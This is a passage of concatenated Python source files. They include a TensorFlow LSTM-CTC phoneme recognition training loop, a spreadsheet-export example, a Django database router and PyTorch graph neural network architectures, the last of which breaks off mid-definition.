dropout_keep_prob=1.0-dropout_rate) dropout2b = tf.nn.rnn_cell.DropoutWrapper(lstm2b, 1.0-dropout_rate) forward_stack = tf.nn.rnn_cell.MultiRNNCell([dropout2]) backward_stack = tf.nn.rnn_cell.MultiRNNCell([dropout2b]) outputs, states = tf.nn.bidirectional_dynamic_rnn(forward_stack, backward_stack, inputs, dtype=tf.float32) outputs = tf.concat(outputs, 2) reshaped = tf.reshape(outputs, [-1, 2 * lstm_hidden_size]) reshaped = tf.layers.dense(reshaped, 1024, activation=tf.nn.relu, kernel_initializer=tf.initializers.truncated_normal(stddev=np.sqrt(2.0/(2 * lstm_hidden_size * 1024)))) reshaped = tf.layers.dense(reshaped, 1024, activation=tf.nn.relu, kernel_initializer=tf.initializers.truncated_normal(stddev=np.sqrt(2.0/(1024 * 1024)))) logits = tf.layers.dense(reshaped, num_classes, kernel_initializer=tf.initializers.truncated_normal(stddev=np.sqrt(2.0/(1024 * num_classes)))) logits = tf.reshape(logits, [batch_size, -1, num_classes]) logits = tf.transpose(logits, [1, 0, 2]) loss = tf.nn.ctc_loss(labels=targets, inputs=logits, sequence_length=sequence_lengths, time_major=True) loss = tf.reduce_mean(tf.multiply(loss, weights)) # L2 regularization #l2 = 0.005 * sum([tf.nn.l2_loss(tf_var) for tf_var in tf.trainable_variables()\ # if 'noreg' not in tf_var.name.lower() and 'bias' not in tf_var.name.lower()]) #loss += l2 optimizer = tf.train.AdamOptimizer(learning_rate).minimize(loss) #optimizer = tf.train.RMSPropOptimizer(learning_rate).minimize(loss) #decoded, log_prob = tf.nn.ctc_greedy_decoder(logits, sequence_lengths) ctc_output = tf.nn.ctc_beam_search_decoder(logits, sequence_lengths, top_paths=10) decoded, log_prob = ctc_output[0], ctc_output[1] error = tf.reduce_mean(tf.edit_distance(tf.cast(decoded[0], tf.int32), targets, normalize=True)) decoded_selected = tf.sparse_placeholder(tf.int32) error_selected = tf.reduce_mean(tf.edit_distance(decoded_selected, targets, normalize=True)) num_epochs = 20000 #200 batch_size = 20 #20 #50 num_training_samples = len(train_sequences) num_validation_samples = len(val_sequences) num_training_batches = max(1, int(num_training_samples / batch_size)) num_validation_batches = max(1, int(num_validation_samples / batch_size)) start_time = None last_time = None # Table display progress_bar_size = 20 max_batches = max(num_training_batches, num_validation_batches) layout = [ dict(name='Ep.', width=len(str(num_epochs)), align='center'), dict(name='Batch', width=2*len(str(max_batches))+1, align='center'), # dict(name='', width=0, align='center'), dict(name='Progress/Timestamp', width=progress_bar_size+2, align='center'), dict(name='ETA/Elapsed', width=7, suffix='s', align='center'), dict(name='', width=0, align='center'), dict(name='Train Loss', width=8, align='center'), dict(name='Train Err', width=7, align='center'), dict(name='', width=0, align='center'), dict(name='Val Loss', width=8, align='center'), dict(name='Val Err', width=7, align='center'), dict(name='', width=0, align='center'), dict(name='Min Val Err', width=7, align='center'), ] training_losses = [] training_errors = [] validation_losses = [] validation_errors = [] since_training = 0 def update_table(epoch, batch, training_loss, training_error, min_validation_error, validation_loss=None, validation_error=None, finished=False): global last_time global since_training num_batches = num_training_batches if validation_loss is None else num_validation_batches progress = int(math.ceil(progress_bar_size * float(batch) / num_batches)) # progress_string = '[' + '#' * progress + ' ' * (progress_bar_size - progress) + ']' status = ' Training' if validation_loss is None else ' Validating' status = status[:max(0, progress_bar_size - progress)] progress_string = '[' + '#' * progress + status + ' ' * (progress_bar_size - progress - len(status)) + ']' now = time.time() start_elapsed = now - start_time if validation_loss is None: epoch_elapsed = now - last_time since_training = now else: epoch_elapsed = now - since_training batch_time_estimate = epoch_elapsed / batch if batch else 0.0 eta_string = batch_time_estimate * (num_batches - batch) or '--' if finished: epoch_elapsed = now - last_time last_time = now progress_string = time.strftime("%I:%M:%S %p",time.localtime())+'; '+str(int(start_elapsed*10)/10.)+'s' eta_string = epoch_elapsed training_losses.append(training_loss) training_errors.append(training_error) validation_losses.append(validation_loss) validation_errors.append(validation_error) table.update(epoch + 1, str(batch + 1) + '/' + str(num_batches), progress_string, eta_string, '', training_loss or '--', training_error or '--', '', validation_loss or '--', validation_error or '--', '', min_validation_error if finished else '--') # if finished and (epoch + 1) % 10 == 0: # print # print 'training_losses =', training_losses # print # print 'training_errors =', training_errors # print # print 'validation_losses =', validation_losses # print # print 'validation_errors =', validation_errors def sparsify(labels): indices = [] values = [] for n, seq in enumerate(labels): indices.extend(zip([n]*len(seq), range(len(seq)))) values.extend(seq) indices = np.asarray(indices, dtype=np.int64) values = np.asarray(values, dtype=np.int32) shape = np.asarray([len(labels), max(map(len, labels))], dtype=np.int64) return indices, values, shape saver = tf.train.Saver() with tf.Session() as session: tf.global_variables_initializer().run() table = DynamicConsoleTable(layout) table.print_header() start_time = time.time() last_time = start_time min_validation_error = float('inf') errors = [] error_selecteds = [] for epoch in range(num_epochs): training_loss = 0.0 training_error = 0.0 permutation = np.random.permutation(num_training_samples) train_sequences = train_sequences[permutation] train_labels = train_labels[permutation] train_weights = train_weights[permutation] training_decoded = [] training_log_probs = [] for batch in range(num_training_batches): indices = range(batch * batch_size, (batch + 1) * batch_size) if batch == num_training_batches - 1: indices = range(batch * batch_size, num_training_samples) batch_sequences = train_sequences[indices] batch_lengths = map(len, batch_sequences) batch_sequences = data.transform.pad_truncate(batch_sequences, max(batch_lengths), position=0.0) batch_labels = train_labels[indices] batch_weights = train_weights[indices] sparse_batch_labels = sparsify(batch_labels) update_table(epoch, batch, training_loss / (batch_size * max(1, batch)), training_error / (batch_size * max(1, batch)), min_validation_error) training_feed = {inputs: batch_sequences, targets: sparse_batch_labels, sequence_lengths: batch_lengths, weights: batch_weights, training: True} batch_loss, _, batch_decoded, batch_error, batch_log_prob = \ session.run([loss, optimizer, decoded, error, log_prob], training_feed) training_loss += batch_loss * len(indices) training_error += batch_error * len(indices) # batch_decoded = tf.sparse_tensor_to_dense(batch_decoded[0], default_value=-1).eval() batch_decoded = map(lambda x: tf.sparse_tensor_to_dense(x, default_value=-1).eval(), batch_decoded) for i in range(len(batch_decoded[0])): training_decoded.append([]) for j in range(len(batch_decoded)): training_decoded[-1].append(batch_decoded[j][i]) for log_probs in batch_log_prob: training_log_probs.append(log_probs) training_loss /= num_training_samples training_error /= num_training_samples validation_loss = 0.0 validation_error = 0.0 validation_error_selected = 0.0 permutation = np.random.permutation(num_validation_samples) val_sequences = val_sequences[permutation] val_labels = val_labels[permutation] validation_decoded = [] validation_log_probs = [] for batch in range(num_validation_batches): indices = range(batch * batch_size, (batch + 1) * batch_size) if batch == num_validation_batches - 1: indices = range(batch * batch_size, num_validation_samples) batch_sequences = val_sequences[indices] batch_lengths = map(len, batch_sequences) batch_sequences = data.transform.pad_truncate(batch_sequences, max(batch_lengths), position=0.0) batch_labels = val_labels[indices] batch_weights = np.ones(len(indices)) sparse_batch_labels = sparsify(batch_labels) update_table(epoch, batch, training_loss, training_error, min_validation_error, validation_loss / (batch_size * max(1, batch)), validation_error / (batch_size * max(1, batch))) validation_feed = {inputs: batch_sequences, targets: sparse_batch_labels, sequence_lengths: batch_lengths, weights: batch_weights, training: False} batch_loss, batch_error, batch_decoded, batch_log_prob = \ session.run([loss, error, decoded, log_prob], validation_feed) validation_loss += batch_loss * len(indices) validation_error += batch_error * len(indices) batch_decoded = map(lambda x: tf.sparse_tensor_to_dense(x, default_value=-1).eval(), batch_decoded) # modifies probabilities for i in range(len(batch_decoded)): for j in range(len(batch_decoded[i])): tmp = filter(lambda x: x > -1, batch_decoded[i][j]) # print tmp # print batch_log_prob[j][i] for k in range(len(tmp)-1): key = tuple(tmp[k:k+2]) batch_log_prob[j][i] += np.log(1.0 if key in bigram_count_map else 0.5) for k in range(len(tmp)-2): key = tuple(tmp[k:k+3]) batch_log_prob[j][i] += np.log(1.0 if key in trigram_count_map else 0.5) for k in range(len(tmp)-3): key = tuple(tmp[k:k+4]) batch_log_prob[j][i] += np.log(1.0 if key in fourgram_count_map else 0.5) for k in range(len(tmp)-4): key = tuple(tmp[k:k+5]) batch_log_prob[j][i] += np.log(1.0 if key in fivegram_count_map else 0.5) batch_decoded_selected = batch_decoded[0] batch_decoded_selected = map(list, map(lambda x: x[np.where(x > -1)], batch_decoded_selected)) # print # print batch_decoded_selected batch_decoded_selected = [] for i in range(len(batch_decoded[0])): pairs = [(batch_log_prob[i][j], batch_decoded[j][i]) for j in range(len(batch_decoded))] pairs = sorted(pairs, key=lambda x: x[0]) # while len(pairs) > 1 and not len(pairs[-1][1]): # pairs.pop() pairs = pairs[::-1] selected = pairs[0][1][np.where(pairs[0][1] > -1)] batch_decoded_selected.append(list(selected)) # max_length = max(map(len, batch_decoded_selected)) # for i in range(len(batch_decoded_selected)): # while len(batch_decoded_selected[i]) < max_length: # batch_decoded_selected[i].append(-1) # print batch_decoded_selected sparse_indices, value, shape = sparsify(batch_decoded_selected) if not len(sparse_indices): sparse_indices = np.zeros((0, 2)) selected_feed = {decoded_selected: (sparse_indices, value, shape), targets: sparse_batch_labels} batch_error_selected = session.run(error_selected, selected_feed) validation_error_selected += batch_error_selected * len(indices) # print batch_error, batch_error_selected for i in range(len(batch_decoded[0])): validation_decoded.append([]) for j in range(len(batch_decoded)): validation_decoded[-1].append(batch_decoded[j][i]) for log_probs in batch_log_prob: validation_log_probs.append(log_probs) validation_loss /= num_validation_samples validation_error /= num_validation_samples validation_error_selected /= num_validation_samples if validation_error_selected < min_validation_error: model_name = 'ctc_lstm_phoneme400_test_model.ckpt' save_path = saver.save(session, os.path.join(abs_path, model_name)) print ' Model saved:', model_name, min_validation_error = min(validation_error_selected, min_validation_error) errors.append(validation_error) error_selecteds.append(validation_error_selected) print print validation_error, validation_error_selected # plt.figure(1) # plt.gcf().clear() # plt.plot(errors) # plt.plot(error_selecteds) # plt.pause(0.00001) update_table(epoch, batch, training_loss, training_error, min_validation_error, validation_loss, validation_error, finished=True) print print 'Training:' for i in range(min(5, len(training_decoded))): # print train_labels[i], ' => ', training_decoded[i][np.where(training_decoded[i] > -1)] print '\t', ' '.join(words[train_labels[i]]), ' =>' pairs = zip(training_log_probs[i], range(len(training_decoded[i]))) pairs = sorted(pairs)[::-1] for j in range(len(training_decoded[i])): print '\t\t', np.exp(training_log_probs[i][j]), '\t', \ ' '.join(words[training_decoded[i][j][np.where(training_decoded[i][j] > -1)]]), \ '\t\t\t', np.exp(pairs[j][0]), '\t', \ ' '.join(words[training_decoded[i][pairs[j][1]][ np.where(training_decoded[i][pairs[j][1]] > -1)]]) print 'Validation:' for i in range(min(5, len(validation_decoded))): # print val_labels[i], ' => ', validation_decoded[i][np.where(validation_decoded[i] > -1)] print '\t', ' '.join(words[val_labels[i]]), ' =>' pairs = zip(validation_log_probs[i], range(len(validation_decoded[i]))) pairs = sorted(pairs)[::-1] for j in range(len(validation_decoded[i])): print '\t\t', np.exp(validation_log_probs[i][j]), '\t', \ ' '.join(words[validation_decoded[i][j][np.where(validation_decoded[i][j] > -1)]]), \ '\t\t\t', np.exp(pairs[j][0]), '\t', \ ' '.join(words[validation_decoded[i][pairs[j][1]][ np.where(validation_decoded[i][pairs[j][1]] > -1)]]) reprint_header = (epoch+1) % 10 == 0 and epoch < num_epochs - 1 table.finalize(divider=not reprint_header) if reprint_header: table.print_header()
20,195
9d85a7931a6d504ab3b5a6a5b14f556c095a6337
from dataclasses import dataclass from ezspreadsheet import Spreadsheet @dataclass class User(): # Setup class to store instances of Name:str Age:int Weight:int Family: list file_path = "users.xlsx" # also works with .csv user_1 = User("Kieran", 21, 202, ["sister", "mother", "father"]) user_2 = User("Jim", 12, 170, ["brother", "mother", "father"]) with Spreadsheet(file_path, User) as output_file: # Can also pass a list or tuple of intances such as [user_1, user_2] output_file.store(user_1, user_2)
20,196
a101b37510d20dd8830b95eee4031cda5d078453
class AwesomeGameRouter(object): def db_for_read(self, model, **hints): if model._meta.app_label in ['awesome_users', 'awesome_rooms']: return 'common' return 'default' def db_for_write(self, model, **hints): if model._meta.app_label in ['awesome_users', 'awesome_rooms']: return 'common' return 'default' def allow_relation(self, obj1, obj2, **hints): """ Allow relations if a model in the auth app is involved. """ return True def allow_migrate(self, db, app_label, model_name=None, **hints): """ Make sure the auth app only appears in the 'auth_db' database. """ if app_label in ['awesome_users', 'awesome_rooms']: return db == 'common' else: return db == 'default'
20,197
628dc863341dd7086eb16d8ccf62d9fb7e665369
import numpy as np import torch import torch.nn as nn import Utils.graphML as gml zeroTolerance = 1e-9 # Values below this number are considered zero. class SelectionGNN(nn.Module): """ SelectionGNN: implement the selection GNN architecture Initialization: SelectionGNN(dimNodeSignals, nFilterTaps, bias, # Graph Filtering nonlinearity, # Nonlinearity nSelectedNodes, poolingFunction, poolingSize, # Pooling dimLayersMLP, # MLP in the end GSO) # Structure Input: dimNodeSignals (list of int): dimension of the signals at each layer nFilterTaps (list of int): number of filter taps on each layer bias (bool): include bias after graph filter on every layer >> Obs.: dimNodeSignals[0] is the number of features (the dimension of the node signals) of the data, where dimNodeSignals[l] is the dimension obtained at the output of layer l, l=1,...,L. Therefore, for L layers, len(dimNodeSignals) = L+1. Slightly different, nFilterTaps[l] is the number of filter taps for the filters implemented at layer l+1, thus len(nFilterTaps) = L. nonlinearity (torch.nn): module from torch.nn non-linear activations nSelectedNodes (list of int): number of nodes to keep after pooling on each layer >> Obs.: The selected nodes are the first nSelectedNodes[l] starting from the first element in the order specified by the given GSO poolingFunction (nn.Module in Utils.graphML): summarizing function poolingSize (list of int): size of the neighborhood to compute the summary from at each layer dimLayersMLP (list of int): number of output hidden units of a sequence of fully connected layers after the graph filters have been applied GSO (np.array): graph shift operator of choice. Output: nn.Module with a Selection GNN architecture with the above specified characteristics. Forward call: SelectionGNN(x) Input: x (torch.tensor): input data of shape batchSize x dimFeatures x numberNodes Output: y (torch.tensor): output data after being processed by the selection GNN; shape: batchSize x dimLayersMLP[-1] """ def __init__(self, # Graph filtering dimNodeSignals, nFilterTaps, bias, # Nonlinearity nonlinearity, # Pooling nSelectedNodes, poolingFunction, poolingSize, # MLP in the end dimLayersMLP, # Structure GSO): # Initialize parent: super().__init__() # dimNodeSignals should be a list and of size 1 more than nFilter taps. assert len(dimNodeSignals) == len(nFilterTaps) + 1 # nSelectedNodes should be a list of size nFilterTaps, since the number # of nodes in the first layer is always the size of the graph assert len(nSelectedNodes) == len(nFilterTaps) # poolingSize also has to be a list of the same size assert len(poolingSize) == len(nFilterTaps) # Check whether the GSO has features or not. After that, always handle # it as a matrix of dimension E x N x N. assert len(GSO.shape) == 2 or len(GSO.shape) == 3 if len(GSO.shape) == 2: assert GSO.shape[0] == GSO.shape[1] GSO = GSO.reshape([1, GSO.shape[0], GSO.shape[1]]) # 1 x N x N else: assert GSO.shape[1] == GSO.shape[2] # E x N x N # Store the values (using the notation in the paper): self.L = len(nFilterTaps) # Number of graph filtering layers self.F = dimNodeSignals # Features self.K = nFilterTaps # Filter taps self.E = GSO.shape[0] # Number of edge features self.N = [GSO.shape[1]] + nSelectedNodes # Number of nodes # See that we adding N_{0} = N as the number of nodes input the first # layer: this above is the list containing how many nodes are between # each layer. self.bias = bias # Boolean # Store the rest of the variables self.S = torch.tensor(GSO) self.sigma = nonlinearity self.rho = poolingFunction self.alpha = poolingSize self.dimLayersMLP = dimLayersMLP # And now, we're finally ready to create the architecture: #\\\ Graph filtering layers \\\ # OBS.: We could join this for with the one before, but we keep separate # for clarity of code. gfl = [] # Graph Filtering Layers for l in range(self.L): #\\ Graph filtering stage: gfl.append(gml.GraphFilter(self.F[l], self.F[l+1], self.K[l], self.E, self.bias)) # There is a 3*l below here, because we have three elements per # layer: graph filter, nonlinearity and pooling, so after each layer # we're actually adding elements to the (sequential) list. gfl[3*l].addGSO(self.S) #\\ Nonlinearity gfl.append(self.sigma()) #\\ Pooling gfl.append(self.rho(self.N[l], self.N[l+1], self.alpha[l])) # Same as before, this is 3*l+2 gfl[3*l+2].addGSO(self.S) # And now feed them into the sequential self.GFL = nn.Sequential(*gfl) # Graph Filtering Layers #\\\ MLP (Fully Connected Layers) \\\ fc = [] if len(self.dimLayersMLP) > 0: # Maybe we don't want to MLP anything # The first layer has to connect whatever was left of the graph # signal, flattened. dimInputMLP = self.N[-1] * self.F[-1] # (i.e., we have N[-1] nodes left, each one described by F[-1] # features which means this will be flattened into a vector of size # N[-1]*F[-1]) fc.append(nn.Linear(dimInputMLP, dimLayersMLP[0], bias = self.bias)) # The last linear layer cannot be followed by nonlinearity, because # usually, this nonlinearity depends on the loss function (for # instance, if we have a classification problem, this nonlinearity # is already handled by the cross entropy loss or we add a softmax.) for l in range(len(dimLayersMLP)-1): # Add the nonlinearity because there's another linear layer # coming fc.append(self.sigma()) # And add the linear layer fc.append(nn.Linear(dimLayersMLP[l], dimLayersMLP[l+1], bias = self.bias)) # And we're done self.MLP = nn.Sequential(*fc) # so we finally have the architecture. def forward(self, x): # Now we compute the forward call assert len(x.shape) == 3 batchSize = x.shape[0] assert x.shape[1] == self.F[0] assert x.shape[2] == self.N[0] # Let's call the graph filtering layer y = self.GFL(x) # Flatten the output y = y.reshape(batchSize, self.F[-1] * self.N[-1]) # And, feed it into the MLP return self.MLP(y) # If self.MLP is a sequential on an empty list it just does nothing. def to(self, device): # Because only the filter taps and the weights are registered as # parameters, when we do a .to(device) operation it does not move the # GSOs. So we need to move them ourselves. # Call the parent .to() method (to move the registered parameters) super().to(device) # Move the GSO self.S = self.S.to(device) # And all the other variables derived from it. for l in range(self.L): self.GFL[3*l].addGSO(self.S) self.GFL[3*l+2].addGSO(self.S) class SpectralGNN(nn.Module): """ SpectralGNN: implement the selection GNN architecture using spectral filters Initialization: SpectralGNN(dimNodeSignals, nCoeff, bias, # Graph Filtering nonlinearity, # Nonlinearity nSelectedNodes, poolingFunction, poolingSize, # Pooling dimLayersMLP, # MLP in the end GSO) # Structure Input: dimNodeSignals (list of int): dimension of the signals at each layer nCoeff (list of int): number of coefficients on each layer bias (bool): include bias after graph filter on every layer >> Obs.: dimNodeSignals[0] is the number of features (the dimension of the node signals) of the data, where dimNodeSignals[l] is the dimension obtained at the output of layer l, l=1,...,L. Therefore, for L layers, len(dimNodeSignals) = L+1. Slightly different, nCoeff[l] is the number of coefficients for the filters implemented at layer l+1, thus len(nCoeff) = L. >> Obs.: If nCoeff[l] is less than the size of the graph, the remaining coefficients are interpolated by means of a cubic spline. nonlinearity (torch.nn): module from torch.nn non-linear activations nSelectedNodes (list of int): number of nodes to keep after pooling on each layer >> Obs.: The selected nodes are the first nSelectedNodes[l] starting from the first element in the order specified by the given GSO poolingFunction (nn.Module in Utils.graphML): summarizing function poolingSize (list of int): size of the neighborhood to compute the summary from at each layer dimLayersMLP (list of int): number of output hidden units of a sequence of fully connected layers after the graph filters have been applied GSO (np.array): graph shift operator of choice. Output: nn.Module with a Selection GNN architecture with the above specified characteristics. Forward call: SpectralGNN(x) Input: x (torch.tensor): input data of shape batchSize x dimFeatures x numberNodes Output: y (torch.tensor): output data after being processed by the selection GNN; shape: batchSize x dimLayersMLP[-1] """ def __init__(self, # Graph filtering dimNodeSignals, nCoeff, bias, # Nonlinearity nonlinearity, # Pooling nSelectedNodes, poolingFunction, poolingSize, # MLP in the end dimLayersMLP, # Structure GSO): # Initialize parent: super().__init__() # dimNodeSignals should be a list and of size 1 more than nFilter taps. assert len(dimNodeSignals) == len(nCoeff) + 1 # nSelectedNodes should be a list of size nFilterTaps, since the number # of nodes in the first layer is always the size of the graph assert len(nSelectedNodes) == len(nCoeff) # poolingSize also has to be a list of the same size assert len(poolingSize) == len(nCoeff) # Check whether the GSO has features or not. After that, always handle # it as a matrix of dimension E x N x N. assert len(GSO.shape) == 2 or len(GSO.shape) == 3 if len(GSO.shape) == 2: assert GSO.shape[0] == GSO.shape[1] GSO = GSO.reshape([1, GSO.shape[0], GSO.shape[1]]) # 1 x N x N else: assert GSO.shape[1] == GSO.shape[2] # E x N x N # Store the values (using the notation in the paper): self.L = len(nCoeff) # Number of graph filtering layers self.F = dimNodeSignals # Features self.M = nCoeff # Filter taps self.E = GSO.shape[0] # Number of edge features self.N = [GSO.shape[1]] + nSelectedNodes # Number of nodes # See that we adding N_{0} = N as the number of nodes input the first # layer: this above is the list containing how many nodes are between # each layer. self.bias = bias # Boolean self.S = torch.tensor(GSO) self.sigma = nonlinearity self.rho = poolingFunction self.alpha = poolingSize self.dimLayersMLP = dimLayersMLP # And now, we're finally ready to create the architecture: #\\\ Graph filtering layers \\\ # OBS.: We could join this for with the one before, but we keep separate # for clarity of code. sgfl = [] # Graph Filtering Layers for l in range(self.L): #\\ Graph filtering stage: sgfl.append(gml.SpectralGF(self.F[l], self.F[l+1], self.M[l], self.E, self.bias)) # There is a 3*l below here, because we have three elements per # layer: graph filter, nonlinearity and pooling, so after each layer # we're actually adding elements to the (sequential) list. sgfl[3*l].addGSO(self.S) #\\ Nonlinearity sgfl.append(self.sigma()) #\\ Pooling sgfl.append(self.rho(self.N[l], self.N[l+1], self.alpha[l])) # Same as before, this is 3*l+2 sgfl[3*l+2].addGSO(self.S) # And now feed them into the sequential self.SGFL = nn.Sequential(*sgfl) # Graph Filtering Layers #\\\ MLP (Fully Connected Layers) \\\ fc = [] if len(self.dimLayersMLP) > 0: # Maybe we don't want to MLP anything # The first layer has to connect whatever was left of the graph # signal, flattened. dimInputMLP = self.N[-1] * self.F[-1] # (i.e., we have N[-1] nodes left, each one described by F[-1] # features which means this will be flattened into a vector of size # N[-1]*F[-1]) fc.append(nn.Linear(dimInputMLP, dimLayersMLP[0], bias = self.bias)) # The last linear layer cannot be followed by nonlinearity, because # usually, this nonlinearity depends on the loss function (for # instance, if we have a classification problem, this nonlinearity # is already handled by the cross entropy loss or we add a softmax.) for l in range(len(dimLayersMLP)-1): # Add the nonlinearity because there's another linear layer # coming fc.append(self.sigma()) # And add the linear layer fc.append(nn.Linear(dimLayersMLP[l], dimLayersMLP[l+1], bias = self.bias)) # And we're done self.MLP = nn.Sequential(*fc) # so we finally have the architecture. def forward(self, x): # Now we compute the forward call assert len(x.shape) == 3 batchSize = x.shape[0] assert x.shape[1] == self.F[0] assert x.shape[2] == self.N[0] # Let's call the graph filtering layer y = self.SGFL(x) # Flatten the output y = y.reshape(batchSize, self.F[-1] * self.N[-1]) # And, feed it into the MLP return self.MLP(y) # If self.MLP is a sequential on an empty list it just does nothing. def to(self, device): # Because only the filter taps and the weights are registered as # parameters, when we do a .to(device) operation it does not move the # GSOs. So we need to move them ourselves. # Call the parent .to() method (to move the registered parameters) super().to(device) # Move the GSO self.S = self.S.to(device) # And all the other variables derived from it. for l in range(self.L): self.SGFL[3*l].addGSO(self.S) self.SGFL[3*l+2].addGSO(self.S) class NodeVariantGNN(nn.Module): """ NodeVariantGNN: implement the selection GNN architecture using node variant graph filters Initialization: NodeVariantGNN(dimNodeSignals, nShiftTaps, nNodeTaps, bias, # Filtering nonlinearity, # Nonlinearity nSelectedNodes, poolingFunction, poolingSize, # Pooling dimLayersMLP, # MLP in the end GSO) # Structure Input: dimNodeSignals (list of int): dimension of the signals at each layer nShiftTaps (list of int): number of shift taps on each layer nNodeTaps (list of int): number of node taps on each layer bias (bool): include bias after graph filter on every layer >> Obs.: dimNodeSignals[0] is the number of features (the dimension of the node signals) of the data, where dimNodeSignals[l] is the dimension obtained at the output of layer l, l=1,...,L. Therefore, for L layers, len(dimNodeSignals) = L+1. Slightly different, nShiftTaps[l] is the number of filter taps for the filters implemented at layer l+1, thus len(nShiftTaps) = L. >> Obs.: The length of the nShiftTaps and nNodeTaps has to be the same, and every element of one list is associated with the corresponding one on the other list to create the appropriate NVGF filter at each layer. nonlinearity (torch.nn): module from torch.nn non-linear activations nSelectedNodes (list of int): number of nodes to keep after pooling on each layer >> Obs.: The selected nodes are the first nSelectedNodes[l] starting from the first element in the order specified by the given GSO poolingFunction (nn.Module in Utils.graphML): summarizing function poolingSize (list of int): size of the neighborhood to compute the summary from at each layer dimLayersMLP (list of int): number of output hidden units of a sequence of fully connected layers after the graph filters have been applied GSO (np.array): graph shift operator of choice. Output: nn.Module with a Selection GNN architecture with the above specified characteristics. Forward call: NodeVariantGNN(x) Input: x (torch.tensor): input data of shape batchSize x dimFeatures x numberNodes Output: y (torch.tensor): output data after being processed by the selection GNN; shape: batchSize x dimLayersMLP[-1] """ def __init__(self, # Graph filtering dimNodeSignals, nShiftTaps, nNodeTaps, bias, # Nonlinearity nonlinearity, # Pooling nSelectedNodes, poolingFunction, poolingSize, # MLP in the end dimLayersMLP, # Structure GSO): # Initialize parent: super().__init__() # dimNodeSignals should be a list and of size 1 more than the number of # filter taps (because of the input number of features) assert len(dimNodeSignals) == len(nShiftTaps) + 1 # The length of the shift taps list should be equal to the length of the # node taps list assert len(nShiftTaps) == len(nNodeTaps) # nSelectedNodes should be a list of size nShiftTaps, since the number # of nodes in the first layer is always the size of the graph assert len(nSelectedNodes) == len(nShiftTaps) # poolingSize also has to be a list of the same size assert len(poolingSize) == len(nShiftTaps) # Check whether the GSO has features or not. After that, always handle # it as a matrix of dimension E x N x N. assert len(GSO.shape) == 2 or len(GSO.shape) == 3 if len(GSO.shape) == 2: assert GSO.shape[0] == GSO.shape[1] GSO = GSO.reshape([1, GSO.shape[0], GSO.shape[1]]) # 1 x N x N else: assert GSO.shape[1] == GSO.shape[2] # E x N x N # Store the values (using the notation in the paper): self.L = len(nShiftTaps) # Number of graph filtering layers self.F = dimNodeSignals # Features self.K = nShiftTaps # Filter Shift taps self.M = nNodeTaps # Filter node taps self.E = GSO.shape[0] # Number of edge features self.N = [GSO.shape[1]] + nSelectedNodes # Number of nodes # See that we adding N_{0} = N as the number of nodes input the first # layer: this above is the list containing how many nodes are between # each layer. self.bias = bias # Boolean self.S = torch.tensor(GSO) self.sigma = nonlinearity self.rho = poolingFunction self.alpha = poolingSize self.dimLayersMLP = dimLayersMLP # And now, we're finally ready to create the architecture: #\\\ Graph filtering layers \\\ # OBS.: We could join this for with the one before, but we keep separate # for clarity of code. nvgfl = [] # Node Variant GF Layers for l in range(self.L): #\\ Graph filtering stage: nvgfl.append(gml.NodeVariantGF(self.F[l], self.F[l+1], self.K[l], self.M[l], self.E, self.bias)) # There is a 3*l below here, because we have three elements per # layer: graph filter, nonlinearity and pooling, so after each layer # we're actually adding elements to the (sequential) list. nvgfl[3*l].addGSO(self.S) #\\ Nonlinearity nvgfl.append(self.sigma()) #\\ Pooling nvgfl.append(self.rho(self.N[l], self.N[l+1], self.alpha[l])) # Same as before, this is 3*l+2 nvgfl[3*l+2].addGSO(self.S) # And now feed them into the sequential self.NVGFL = nn.Sequential(*nvgfl) # Graph Filtering Layers #\\\ MLP (Fully Connected Layers) \\\ fc = [] if len(self.dimLayersMLP) > 0: # Maybe we don't want to MLP anything # The first layer has to connect whatever was left of the graph # signal, flattened. dimInputMLP = self.N[-1] * self.F[-1] # (i.e., we have N[-1] nodes left, each one described by F[-1] # features which means this will be flattened into a vector of size # N[-1]*F[-1]) fc.append(nn.Linear(dimInputMLP, dimLayersMLP[0], bias = self.bias)) # The last linear layer cannot be followed by nonlinearity, because # usually, this nonlinearity depends on the loss function (for # instance, if we have a classification problem, this nonlinearity # is already handled by the cross entropy loss or we add a softmax.) for l in range(len(dimLayersMLP)-1): # Add the nonlinearity because there's another linear layer # coming fc.append(self.sigma()) # And add the linear layer fc.append(nn.Linear(dimLayersMLP[l], dimLayersMLP[l+1], bias = self.bias)) # And we're done self.MLP = nn.Sequential(*fc) # so we finally have the architecture. def forward(self, x): # Now we compute the forward call assert len(x.shape) == 3 batchSize = x.shape[0] assert x.shape[1] == self.F[0] assert x.shape[2] == self.N[0] # Let's call the graph filtering layer y = self.NVGFL(x) # Flatten the output y = y.reshape(batchSize, self.F[-1] * self.N[-1]) # And, feed it into the MLP return self.MLP(y) # If self.MLP is a sequential on an empty list it just does nothing. def to(self, device): # Because only the filter taps and the weights are registered as # parameters, when we do a .to(device) operation it does not move the # GSOs. So we need to move them ourselves. # Call the parent .to() method (to move the registered parameters) super().to(device) # Move the GSO self.S = self.S.to(device) # And all the other variables derived from it. for l in range(self.L): self.NVGFL[3*l].addGSO(self.S) self.NVGFL[3*l+2].addGSO(self.S) class EdgeVariantGNN(nn.Module): """ EdgeVariantGNN: implement the selection GNN architecture using edge variant graph filters (through masking, not placement) Initialization: EdgeVariantGNN(dimNodeSignals, nShiftTaps, nFilterNodes, bias, nonlinearity, # Nonlinearity nSelectedNodes, poolingFunction, poolingSize, dimLayersMLP, # MLP in the end GSO) # Structure Input: dimNodeSignals (list of int): dimension of the signals at each layer nShiftTaps (list of int): number of shift taps on each layer nFilterNodes (list of int): number of nodes selected for the EV part of the hybrid EV filtering (recall that the first ones in the given permutation of S are the nodes selected) bias (bool): include bias after graph filter on every layer >> Obs.: dimNodeSignals[0] is the number of features (the dimension of the node signals) of the data, where dimNodeSignals[l] is the dimension obtained at the output of layer l, l=1,...,L. Therefore, for L layers, len(dimNodeSignals) = L+1. Slightly different, nShiftTaps[l] is the number of filter taps for the filters implemented at layer l+1, thus len(nShiftTaps) = L. nonlinearity (torch.nn): module from torch.nn non-linear activations nSelectedNodes (list of int): number of nodes to keep after pooling on each layer >> Obs.: The selected nodes are the first nSelectedNodes[l] starting from the first element in the order specified by the given GSO poolingFunction (nn.Module in Utils.graphML): summarizing function poolingSize (list of int): size of the neighborhood to compute the summary from at each layer dimLayersMLP (list of int): number of output hidden units of a sequence of fully connected layers after the graph filters have been applied GSO (np.array): graph shift operator of choice. Output: nn.Module with a Selection GNN architecture with the above specified characteristics. Forward call: EdgeVariantGNN(x) Input: x (torch.tensor): input data of shape batchSize x dimFeatures x numberNodes Output: y (torch.tensor): output data after being processed by the selection GNN; shape: batchSize x dimLayersMLP[-1] """ def __init__(self, # Graph filtering dimNodeSignals, nShiftTaps, 